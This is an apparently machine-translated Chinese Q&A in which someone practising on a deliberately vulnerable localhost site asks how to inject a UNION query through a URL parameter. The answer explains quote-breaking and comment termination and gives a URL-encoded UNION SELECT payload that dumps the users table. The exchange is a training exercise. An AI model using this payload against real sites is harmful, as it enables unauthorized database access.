我受命向为此目的而建立的假网站进行SQL注入。我想知道如何将SQL查询插入URL。例如http://localhost:<> / vulnerabilities / webapi / users // nickname?username = my_id我有这个URL,我想向它注入UNION查询,我该怎么做?谢谢。
假设您的网络查询将被翻译为
SELECT * FROM users WHERE username = 'my_id';
现在,诀窍是用恶意代码替换'my_id'
。我假设UNION查询的目的是返回所有用户,而不是一个用户。结果应为:
SELECT * FROM users WHERE username = 'my_id' UNION SELECT * FROM users; -- ';
也许原始查询的字段列表而不是*
。然后,您将不得不在第二个查询中复制此列表。
现在必须输入my_id
,而不是[C0
my_id' UNION SELECT * FROM users; --
注意,我们以--
结束我们的输入,并添加了评论。查询机制将通过附加最终的单引号(可能还有分号)来终止查询。现在它们将变成评论。
下一个问题是,我们如何正确地对此URL进行转义。使用在线工具Code Beautify, HTML Escape/Unescape,我们得到:
my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--
这提供了完整的URL:
http://localhost:<>/vulnerabilities/webapi/users//nickname?username=my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--